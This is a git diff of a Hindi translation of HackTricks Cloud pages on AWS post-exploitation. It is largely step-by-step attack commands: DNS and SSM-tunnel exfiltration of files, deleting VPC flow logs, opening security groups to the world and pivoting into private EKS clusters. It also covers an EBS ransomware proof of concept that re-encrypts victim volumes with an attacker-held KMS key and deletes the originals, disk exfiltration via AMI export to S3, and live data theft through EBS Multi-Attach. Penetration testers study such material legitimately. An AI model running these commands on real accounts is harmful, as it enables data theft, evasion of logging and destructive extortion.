-Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**.
+अगर आप EC2 को इस तरह लॉकडाउन कर दें कि कोई traffic बाहर न जा सके, तब भी यह **exfil via DNS** कर सकता है।
 
-- **VPC Flow Logs will not record this**.
-- You have no access to AWS DNS logs.
-- Disable this by setting "enableDnsSupport" to false with:
+- **VPC Flow Logs यह रिकॉर्ड नहीं करेंगे**।
+- आपके पास AWS DNS logs की पहुँच नहीं होती।
+- इसे रोकने के लिए "enableDnsSupport" को false पर सेट करें:
 
 `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id `
 
 #### Exfiltration via API calls
 
-An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs.
+एक attacker उस द्वारा नियंत्रित account के API endpoints को कॉल कर सकता है। Cloudtrail इन कॉल्स को लॉग करेगा और attacker Cloudtrail logs में exfiltrate data देख पाएगा।
 
 ### Open Security Group
 
-You could get further access to network services by opening ports like this:
+आप ऐसे पोर्ट खोलकर नेटवर्क सर्विसेज़ तक और पहुँच पा सकते हैं:
 ```bash
 aws ec2 authorize-security-group-ingress --group-id  --protocol tcp --port 80 --cidr 0.0.0.0/0
 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
 ```
-### Privesc to ECS
+### Privesc से ECS
 
-यह संभव है कि एक EC2 उदाहरण चलाया जाए और इसे ECS उदाहरणों को चलाने के लिए पंजीकृत किया जाए और फिर ECS उदाहरणों के डेटा को चुराया जाए।
+एक EC2 instance चलाकर उसे ECS instances चलाने के लिए रजिस्टर किया जा सकता है, और फिर ECS instances का डेटा चुराया जा सकता है।
 
-For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
+For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
 
-### Remove VPC flow logs
+### VPC flow logs हटाएं
 ```bash
 aws ec2 delete-flow-logs --flow-log-ids  --region 
 ```
@@ -95,63 +160,66 @@ aws ec2 delete-flow-logs --flow-log-ids  --region 
 
 - `ssm:StartSession`
 
-कमांड निष्पादन के अलावा, SSM ट्रैफ़िक टनलिंग की अनुमति देता है जिसे उन EC2 उदाहरणों से पिवट करने के लिए दुरुपयोग किया जा सकता है जिनके पास सुरक्षा समूहों या NACLs के कारण नेटवर्क एक्सेस नहीं है। यह एक परिदृश्य है जहाँ यह उपयोगी है, [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) से एक निजी EKS क्लस्टर में पिवट करना।
+कमांड निष्पादन के अलावा, SSM ट्रैफ़िक टनलिंग की अनुमति देता है जिसे Security Groups या NACLs के कारण नेटवर्क एक्सेस न रखने वाले EC2 इंस्टेंस से pivot करने के लिए दुरुपयोग किया जा सकता है।
+इसका उपयोगी होने के मामलों में से एक परिदृश्य है [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) से एक निजी EKS क्लस्टर में pivoting करना।
 
-> सत्र शुरू करने के लिए आपको SessionManagerPlugin स्थापित करना होगा: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
+> सत्र शुरू करने के लिए आपके सिस्टम पर SessionManagerPlugin इंस्टॉल होना चाहिए: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
 
-1. अपने मशीन पर SessionManagerPlugin स्थापित करें
+1. अपने मशीन पर SessionManagerPlugin इंस्टॉल करें
 2. निम्नलिखित कमांड का उपयोग करके Bastion EC2 में लॉग इन करें:
 ```shell
 aws ssm start-session --target "$INSTANCE_ID"
 ```
-3. [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) स्क्रिप्ट के साथ Bastion EC2 AWS अस्थायी क्रेडेंशियल प्राप्त करें
-4. क्रेडेंशियल्स को अपने मशीन में `$HOME/.aws/credentials` फ़ाइल में `[bastion-ec2]` प्रोफ़ाइल के रूप में स्थानांतरित करें
+3. [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script का उपयोग करके Bastion EC2 के AWS temporary credentials प्राप्त करें  
+4. अपने मशीन पर credentials को `$HOME/.aws/credentials` फ़ाइल में `[bastion-ec2]` profile के रूप में स्थानांतरित करें  
 5. Bastion EC2 के रूप में EKS में लॉग इन करें:
 ```shell
 aws eks update-kubeconfig --profile bastion-ec2 --region  --name 
 ```
-6. `$HOME/.kube/config` फ़ाइल में `server` फ़ील्ड को `https://localhost` पर सेट करें  
-7. निम्नलिखित के अनुसार SSM टनल बनाएं:
+6. `$HOME/.kube/config` फ़ाइल में `server` फ़ील्ड को `https://localhost` पर अपडेट करें
+7. निम्नानुसार एक SSM tunnel बनाएं:
 ```shell
 sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region 
 ```
-8. `kubectl` टूल से ट्रैफ़िक अब बैस्टियन EC2 के माध्यम से SSM टनल के माध्यम से अग्रेषित किया गया है और आप अपने मशीन से निम्नलिखित कमांड चलाकर निजी EKS क्लस्टर तक पहुँच सकते हैं:
+8. `kubectl` टूल का ट्रैफ़िक अब SSM टनल के माध्यम से Bastion EC2 के जरिए फॉरवर्ड किया जा रहा है और आप अपनी मशीन से निजी EKS क्लस्टर तक निम्न कमांड चलाकर पहुँच सकते हैं:
 ```shell
 kubectl get pods --insecure-skip-tls-verify
 ```
-ध्यान दें कि SSL कनेक्शन विफल हो जाएंगे जब तक आप `--insecure-skip-tls-verify ` ध्वज (या K8s ऑडिट टूल्स में इसके समकक्ष) को सेट नहीं करते। चूंकि ट्रैफ़िक सुरक्षित AWS SSM टनल के माध्यम से टनल किया गया है, आप किसी भी प्रकार के MitM हमलों से सुरक्षित हैं।
+Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks.
 
-अंत में, यह तकनीक निजी EKS क्लस्टरों पर हमले के लिए विशिष्ट नहीं है। आप किसी भी अन्य AWS सेवा या कस्टम एप्लिकेशन पर पिवट करने के लिए मनमाने डोमेन और पोर्ट सेट कर सकते हैं।
+ध्यान दें कि SSL कनेक्शन असफल हो जाएंगे जब तक आप `--insecure-skip-tls-verify ` फ्लैग (या K8s audit tools में इसके समकक्ष) सेट नहीं करते। चूंकि ट्रैफिक secure AWS SSM tunnel के माध्यम से टनल किया जाता है, आप किसी भी प्रकार के MitM हमलों से सुरक्षित हैं।
+
+अंत में, यह technique निजी EKS clusters पर हमला करने तक सीमित नहीं है। आप किसी भी अन्य AWS service या कस्टम application पर pivot करने के लिए arbitrary domains और ports सेट कर सकते हैं।
 
 ---
 
-#### त्वरित स्थानीय ↔️ दूरस्थ पोर्ट फॉरवर्ड (AWS-StartPortForwardingSession)
+#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
 
-यदि आपको केवल **EC2 उदाहरण से अपने स्थानीय होस्ट पर एक TCP पोर्ट को फॉरवर्ड करने** की आवश्यकता है, तो आप `AWS-StartPortForwardingSession` SSM दस्तावेज़ का उपयोग कर सकते हैं (कोई दूरस्थ होस्ट पैरामीटर आवश्यक नहीं है):
+यदि आपको केवल **EC2 instance से अपने लोकल होस्ट पर एक ही TCP पोर्ट फॉरवर्ड करने** की आवश्यकता है, तो आप `AWS-StartPortForwardingSession` SSM document का उपयोग कर सकते हैं (कोई remote host parameter आवश्यक नहीं):
 ```bash
 aws ssm start-session --target i-0123456789abcdef0 \
 --document-name AWS-StartPortForwardingSession \
 --parameters "portNumber"="8000","localPortNumber"="8000" \
 --region 
 ```
-कमांड आपके कार्यस्थल (`localPortNumber`) और उदाहरण पर चयनित पोर्ट (`portNumber`) के बीच एक द्विदिश सुरंग स्थापित करता है **बिना किसी इनबाउंड सुरक्षा-समूह नियमों को खोले**।
+यह कमांड आपके वर्कस्टेशन (`localPortNumber`) और instance पर चयनित पोर्ट (`portNumber`) के बीच एक द्वि-मार्गी टनल स्थापित करता है **किसी inbound Security-Group नियम को खोलने के बिना**।
 
-सामान्य उपयोग के मामले:
+Common use cases:
 
-* **फाइल एक्सफिल्ट्रेशन**
-1. उदाहरण पर उस निर्देशिका की ओर इशारा करते हुए एक त्वरित HTTP सर्वर शुरू करें जिसे आप एक्सफिल्ट्रेट करना चाहते हैं:
+* **File exfiltration**
+1. instance पर उस डायरेक्टरी की ओर इंगित करने वाला एक त्वरित HTTP server शुरू करें जिसे आप exfiltrate करना चाहते हैं:
 
 ```bash
 python3 -m http.server 8000
 ```
 
-2. अपने कार्यस्थल से SSM सुरंग के माध्यम से फाइलें प्राप्त करें:
+2. अपने workstation से SSM tunnel के माध्यम से फ़ाइलें प्राप्त करें:
 
 ```bash
 curl http://localhost:8000/loot.txt -o loot.txt
 ```
 
-* **आंतरिक वेब अनुप्रयोगों (जैसे Nessus) तक पहुंच**
+* **आंतरिक वेब एप्लिकेशन तक पहुँच (e.g. Nessus)**
 ```bash
 # Forward remote Nessus port 8834 to local 8835
 aws ssm start-session --target i-0123456789abcdef0 \
@@ -159,7 +227,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
 --parameters "portNumber"="8834","localPortNumber"="8835"
 # Browse to http://localhost:8835
 ```
-टिप: सबूतों को निकालने से पहले उन्हें संकुचित और एन्क्रिप्ट करें ताकि CloudTrail स्पष्ट-टेक्स्ट सामग्री को लॉग न करे:
+टिप: exfiltrating से पहले सबूत को संपीड़ित और एन्क्रिप्ट करें ताकि CloudTrail clear-text सामग्री को लॉग न करे:
 ```bash
 # On the instance
 7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
@@ -168,19 +236,19 @@ aws ssm start-session --target i-0123456789abcdef0 \
 ```bash
 aws ec2 modify-image-attribute --image-id  --launch-permission "Add=[{UserId=}]" --region 
 ```
-### सार्वजनिक और निजी AMIs में संवेदनशील जानकारी खोजें
+### पब्लिक और प्राइवेट AMIs में संवेदनशील जानकारी खोजें
 
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel एक उपकरण है जो **सार्वजनिक या निजी Amazon Machine Images (AMIs) के भीतर संवेदनशील जानकारी खोजने के लिए डिज़ाइन किया गया है**। यह लक्षित AMIs से उदाहरण लॉन्च करने, उनके वॉल्यूम को माउंट करने और संभावित रहस्यों या संवेदनशील डेटा के लिए स्कैन करने की प्रक्रिया को स्वचालित करता है।
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel एक tool है जो **public या private Amazon Machine Images (AMIs) के भीतर संवेदनशील जानकारी खोजने के लिए** बनाया गया है। यह target AMIs से instances लॉन्च करने, उनके volumes को mount करने, और potential secrets या संवेदनशील डेटा के लिए scan करने की प्रक्रिया को automate करता है।
 
-### EBS स्नैपशॉट साझा करें
+### EBS Snapshot साझा करें
 ```bash
 aws ec2 modify-snapshot-attribute --snapshot-id  --create-volume-permission "Add=[{UserId=}]" --region 
 ```
 ### EBS Ransomware PoC
 
-एक प्रमाणित अवधारणा जो S3 पोस्ट-एक्सप्लोइटेशन नोट्स में प्रदर्शित रैंसमवेयर प्रदर्शन के समान है। KMS को रैंसमवेयर प्रबंधन सेवा (RMS) के रूप में पुनः नामित किया जाना चाहिए, क्योंकि इसे विभिन्न AWS सेवाओं को एन्क्रिप्ट करने के लिए उपयोग करना कितना आसान है।
+यह proof of concept S3 post-exploitation notes में दिखाए गए Ransomware demonstration के समान है। KMS को RMS (Ransomware Management Service) के रूप में नामित किया जाना चाहिए, क्योंकि विभिन्न AWS services को एन्क्रिप्ट करने के लिए इसे इस्तेमाल करना कितना आसान है।
 
-पहले एक 'हमलावर' AWS खाते से, KMS में एक ग्राहक प्रबंधित कुंजी बनाएं। इस उदाहरण के लिए, हम बस AWS को मेरे लिए कुंजी डेटा प्रबंधित करने देंगे, लेकिन एक वास्तविक परिदृश्य में, एक दुर्भावनापूर्ण अभिनेता AWS के नियंत्रण से बाहर कुंजी डेटा को बनाए रखेगा। कुंजी नीति को इस प्रकार बदलें कि किसी भी AWS खाता प्रिंसिपल को कुंजी का उपयोग करने की अनुमति हो। इस कुंजी नीति के लिए, खाते का नाम 'AttackSim' था और सभी पहुंच की अनुमति देने वाला नीति नियम 'Outside Encryption' कहा जाता है।
+सबसे पहले एक 'attacker' AWS account से, KMS में एक customer managed key बनाइए। इस उदाहरण के लिए हम बस AWS को मेरे लिए key data manage करने देंगे, लेकिन वास्तविक परिदृश्य में कोई malicious actor key data को AWS के नियंत्रण के बाहर रखेगा। key policy बदलें ताकि किसी भी AWS account Principal को key इस्तेमाल करने की अनुमति मिले। इस key policy के लिए, account का नाम 'AttackSim' था और सभी access की अनुमति देने वाला policy rule 'Outside Encryption' कहलाता है।
 ```
 {
 "Version": "2012-10-17",
@@ -272,7 +340,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id  --create-volume-pe
 ]
 }
 ```
-कुंजी नीति नियम को EBS वॉल्यूम को एन्क्रिप्ट करने की क्षमता की अनुमति देने के लिए निम्नलिखित सक्षम करने की आवश्यकता है:
+The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
 
 - `kms:CreateGrant`
 - `kms:Decrypt`
@@ -280,21 +348,21 @@ aws ec2 modify-snapshot-attribute --snapshot-id  --create-volume-pe
 - `kms:GenerateDataKeyWithoutPlainText`
 - `kms:ReEncrypt`
 
-अब सार्वजनिक रूप से सुलभ कुंजी का उपयोग करने के साथ। हम एक 'पीड़ित' खाते का उपयोग कर सकते हैं जिसमें कुछ EC2 उदाहरण हैं जिनमें अनएन्क्रिप्टेड EBS वॉल्यूम जुड़े हुए हैं। इस 'पीड़ित' खाते के EBS वॉल्यूम वे हैं जिनका हम एन्क्रिप्शन के लिए लक्ष्य बना रहे हैं, यह हमला एक उच्च-विशेषाधिकार AWS खाते के उल्लंघन के तहत है।
+Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
 
 ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
 
-S3 रैनसमवेयर उदाहरण के समान। यह हमला जुड़े हुए EBS वॉल्यूम की प्रतियां स्नैपशॉट का उपयोग करके बनाएगा, 'हमलावर' खाते से सार्वजनिक रूप से उपलब्ध कुंजी का उपयोग करके नए EBS वॉल्यूम को एन्क्रिप्ट करेगा, फिर EC2 उदाहरणों से मूल EBS वॉल्यूम को हटा देगा और उन्हें हटा देगा, और अंत में नए एन्क्रिप्टेड EBS वॉल्यूम बनाने के लिए उपयोग किए गए स्नैपशॉट को हटा देगा। ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
+S3 ransomware example की तरह। This attack attached EBS volumes की copies snapshots का उपयोग करके बनाएगा, 'attacker' account से publicly available key का उपयोग करके नए EBS volumes को encrypt करेगा, फिर original EBS volumes को EC2 instances से detach करके delete करेगा, और अंत में उन snapshots को delete करेगा जिनका उपयोग नये encrypted EBS volumes बनाने में हुआ था। ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
 
-इसके परिणामस्वरूप खाते में केवल एन्क्रिप्टेड EBS वॉल्यूम उपलब्ध रह जाते हैं।
+This results in only encrypted EBS volumes left available in the account.
 
 ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
 
-यह भी ध्यान देने योग्य है कि स्क्रिप्ट ने मूल EBS वॉल्यूम को हटाने और अलग करने के लिए EC2 उदाहरणों को रोक दिया। अब मूल अनएन्क्रिप्टेड वॉल्यूम चले गए हैं।
+यह भी उल्लेखनीय है कि script ने original EBS volumes को detach और delete करने के लिए EC2 instances को stop कर दिया। Original unencrypted volumes अब मौजूद नहीं हैं।
 
 ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
 
-अगला, 'हमलावर' खाते में कुंजी नीति पर लौटें और कुंजी नीति से 'बाहरी एन्क्रिप्शन' नीति नियम को हटा दें।
+Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy.
 ```json
 {
 "Version": "2012-10-17",
@@ -365,15 +433,15 @@ S3 रैनसमवेयर उदाहरण के समान। यह
 ]
 }
 ```
-एक पल रुकें ताकि नए सेट किए गए की नीति को फैलने का समय मिल सके। फिर 'पीड़ित' खाते पर वापस जाएं और नए एन्क्रिप्टेड EBS वॉल्यूम में से एक को अटैच करने का प्रयास करें। आप पाएंगे कि आप वॉल्यूम को अटैच कर सकते हैं।
+नए रूप से सेट किए गए key policy के propagate होने के लिए कुछ समय इंतज़ार करें। फिर 'victim' account में लौटें और नए एन्क्रिप्टेड EBS में से किसी एक volume को attach करने का प्रयास करें। आप पाएँगे कि आप volume को attach कर सकते हैं।
 
 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
 
-लेकिन जब आप एन्क्रिप्टेड EBS वॉल्यूम के साथ EC2 इंस्टेंस को फिर से शुरू करने का प्रयास करते हैं, तो यह बस विफल हो जाएगा और 'pending' स्थिति से 'stopped' स्थिति में हमेशा के लिए वापस चला जाएगा क्योंकि अटैच किया गया EBS वॉल्यूम की नीति के अनुसार डिक्रिप्ट नहीं किया जा सकता है।
+लेकिन जब आप एन्क्रिप्टेड EBS volume के साथ EC2 instance को वास्तव में फिर से start करने का प्रयास करेंगे, तो यह बस fail हो जाएगा और 'pending' state से फिर से हमेशा के लिए 'stopped' state में चला जाएगा क्योंकि attached EBS volume को key से decrypt नहीं किया जा सकता क्योंकि key policy अब इसकी अनुमति नहीं देती।
 
 ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
 
-यह वह पायथन स्क्रिप्ट है जिसका उपयोग किया गया है। यह 'पीड़ित' खाते के लिए AWS क्रेडेंशियल्स और एन्क्रिप्शन के लिए उपयोग किए जाने वाले की के लिए एक सार्वजनिक रूप से उपलब्ध AWS ARN मान लेता है। यह स्क्रिप्ट लक्षित AWS खाते में सभी EC2 इंस्टेंस से जुड़े सभी उपलब्ध EBS वॉल्यूम की एन्क्रिप्टेड कॉपी बनाएगी, फिर हर EC2 इंस्टेंस को रोक देगी, मूल EBS वॉल्यूम को अटैच करेगी, उन्हें हटा देगी, और अंततः प्रक्रिया के दौरान उपयोग किए गए सभी स्नैपशॉट को हटा देगी। इससे लक्षित 'पीड़ित' खाते में केवल एन्क्रिप्टेड EBS वॉल्यूम रह जाएंगे। इस स्क्रिप्ट का उपयोग केवल परीक्षण वातावरण में करें, यह विनाशकारी है और सभी मूल EBS वॉल्यूम को हटा देगा। आप उपयोग किए गए KMS की का उपयोग करके उन्हें पुनर्प्राप्त कर सकते हैं और स्नैपशॉट के माध्यम से उन्हें उनके मूल स्थिति में बहाल कर सकते हैं, लेकिन आपको यह बताना चाहता हूं कि यह अंततः एक रैनसमवेयर PoC है।
+यह उसी python स्क्रिप्ट का उपयोग है। यह 'victim' account के लिए AWS creds और encryption के लिए उपयोग किए जाने वाले key का publicly available AWS ARN value लेता है। स्क्रिप्ट targeted AWS account में सभी EC2 instances से जुड़ी ALL उपलब्ध EBS volumes की encrypted कॉपियाँ बनाएगा, फिर हर EC2 instance को stop करेगा, मूल EBS volumes को detach करेगा, उन्हें delete करेगा, और अंत में प्रक्रिया के दौरान उपयोग किए गए सभी snapshots को भी delete कर देगा। इससे targeted 'victim' account में केवल encrypted EBS volumes ही बचे होंगे। ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. आप उन्हें उपयोग किए गए KMS key का उपयोग करके recover कर सकते हैं और snapshots के जरिए उन्हें उनके मूल स्थिति में restore कर सकते हैं, पर बस इतना जान लें कि दिन के अंत में यह एक ransomware PoC है।
 ```
 import boto3
 import argparse
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md
new file mode 100644
index 000000000..3f9e9b3ee
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md
@@ -0,0 +1,137 @@
+# AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## सारांश
+EC2 AMI export-to-S3 का दुरुपयोग करके EC2 instance के पूरे डिस्क को S3 में store किए गए एक single raw image के रूप में exfiltrate करें, और फिर उसे out-of-band डाउनलोड करें। यह snapshot sharing से बचता है और प्रत्येक AMI के लिए एक object बनाता है।
+
+## आवश्यकताएँ
+- EC2: `ec2:CreateImage`, `ec2:CreateStoreImageTask`, `ec2:DescribeStoreImageTasks` target instance/AMI पर
+- S3 (same Region): `s3:PutObject`, `s3:GetObject`, `s3:ListBucket`, `s3:AbortMultipartUpload`, `s3:PutObjectTagging`, `s3:GetBucketLocation`
+- KMS decrypt उस key पर जो AMI snapshots की सुरक्षा करती है (यदि EBS default encryption सक्षम है)
+- S3 bucket policy जो `vmie.amazonaws.com` service principal पर trust करती हो (नीचे देखें)
+
+## प्रभाव
+- Snapshots को शेयर किए बिना या अकाउंट्स के बीच कॉपी किए बिना instance root disk का पूरा offline अधिग्रहण S3 में।
+- Export किए गए raw image से credentials, configuration और filesystem contents पर stealth forensic जांच करना संभव बनाता है।
+
+## How to Exfiltrate via AMI Store-to-S3
+
+- नोट्स:
+- S3 bucket उसी Region में होना चाहिए जहाँ AMI है।
+- In `us-east-1`, `create-bucket` में `--create-bucket-configuration` शामिल नहीं होना चाहिए।
+- `--no-reboot` instance को रोकने के बिना crash-consistent image बनाती है (ज़्यादा छिपा हुआ लेकिन कम सुसंगत)।
+
+

+चरण-दर-चरण commands
+```bash
+# Vars
+REGION=us-east-1
+INSTANCE_ID=
+BUCKET=exfil-ami-$(date +%s)-$RANDOM
+
+# 1) Create S3 bucket (same Region)
+if [ "$REGION" = "us-east-1" ]; then
+aws s3api create-bucket --bucket "$BUCKET" --region "$REGION"
+else
+aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION"
+fi
+
+# 2) (Recommended) Bucket policy to allow VMIE service to write the object
+ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
+cat > /tmp/bucket-policy.json <
+
+## सबूत उदाहरण
+
+- `describe-store-image-tasks` परिवर्तन:
+```text
+InProgress
+Completed
+```
+- S3 ऑब्जेक्ट मेटाडेटा (उदाहरण):
+```json
+{
+"AcceptRanges": "bytes",
+"LastModified": "2025-10-08T01:31:46+00:00",
+"ContentLength": 399768709,
+"ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
+"ContentType": "application/octet-stream",
+"ServerSideEncryption": "AES256",
+"Metadata": {
+"ami-name": "exfil-1759887010",
+"ami-owner-account": "",
+"ami-store-date": "2025-10-08T01:31:45Z"
+}
+}
+```
+- आंशिक डाउनलोड ऑब्जेक्ट एक्सेस सिद्ध करता है:
+```bash
+ls -l /tmp/ami.bin
+# -rw-r--r--  1 user  wheel  1048576 Oct  8 03:32 /tmp/ami.bin
+```
+## आवश्यक IAM अनुमतियाँ
+
+- EC2: `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks`
+- S3 (export bucket पर): `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation`
+- KMS: यदि AMI snapshots एन्क्रिप्टेड हैं, तो snapshots द्वारा उपयोग किए गए EBS KMS key के लिए decrypt की अनुमति दें
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md
new file mode 100644
index 000000000..66c9f6efe
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md
@@ -0,0 +1,77 @@
+# AWS - Live Data Theft via EBS Multi-Attach
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## सारांश
+EBS Multi-Attach का दुरुपयोग करके एक live io1/io2 डेटा वॉल्यूम को उसी Availability Zone (AZ) में attacker-controlled instance से attach करके पढ़ें। shared volume को read-only के रूप में mount करने से बिना snapshots बनाए हुए in-use फाइलों तक तुरंत पहुँच मिलती है।
+
+## आवश्यकताएँ
+- Target volume: io1 or io2 जो `--multi-attach-enabled` के साथ उसी AZ में बनाया गया हो जहाँ attacker instance मौजूद है।
+- Permissions: `ec2:AttachVolume`, `ec2:DescribeVolumes`, `ec2:DescribeInstances` target volume/instances पर।
+- Infrastructure: Nitro-based instance types जो Multi-Attach को सपोर्ट करते हैं (C5/M5/R5 families, आदि)।
+
+## नोट्स
+- Mount read-only with `-o ro,noload` ताकि corruption का जोखिम कम रहे और journal replays से बचा जा सके।
+- Nitro instances पर EBS NVMe device एक स्थिर `/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...` path expose करता है (सहायक नीचे)।
+
+## Multi-Attach io2 volume तैयार करें और उसे victim पर attach करें
+
+उदाहरण (`us-east-1a` में बनाएं और victim पर attach करें):
+```bash
+AZ=us-east-1a
+# Create io2 volume with Multi-Attach enabled
+VOL_ID=$(aws ec2 create-volume \
+--size 10 \
+--volume-type io2 \
+--iops 1000 \
+--availability-zone $AZ \
+--multi-attach-enabled \
+--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
+--query 'VolumeId' --output text)
+
+# Attach to victim instance
+aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
+```
+victim पर, नए volume को format/mount करें और संवेदनशील डेटा लिखें (उदाहरण के लिए):
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
+sudo mkfs.ext4 -F "$DEV"
+sudo mkdir -p /mnt/shared
+sudo mount "$DEV" /mnt/shared
+echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
+sudo sync
+```
+## उसी volume को attacker instance पर attach करें
+```bash
+aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
+```
+## attacker पर read-only Mount करके डेटा पढ़ें
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
+sudo mkdir -p /mnt/steal
+sudo mount -o ro,noload "$DEV" /mnt/steal
+sudo cat /mnt/steal/secret.txt
+```
+अपेक्षित परिणाम: वही `VOL_ID` कई `Attachments` (victim and attacker) दिखाता है और attacker बिना किसी snapshot बनाए victim द्वारा लिखी गई फाइलें पढ़ सकता है।
+```bash
+aws ec2 describe-volumes --volume-ids $VOL_ID \
+--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
+```
+

+सहायक: Volume ID से NVMe डिवाइस पथ खोजें
+
+Nitro instances पर, उस stable by-id path का उपयोग करें जो volume id को समाविष्ट करता है ( `vol` के बाद वाले डैश को हटा दें):
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
+# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
+```
+

+
+## Impact
+- लक्षित EBS वॉल्यूम पर बिना snapshots बनाए लाइव डेटा तक तत्काल read access।
+- यदि इसे read-write के रूप में mount किया गया है तो attacker पीड़ित की filesystem को छेड़छाड़ कर सकता है (डेटा करप्शन का जोखिम)।
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md
new file mode 100644
index 000000000..de8464ed1
--- /dev/null
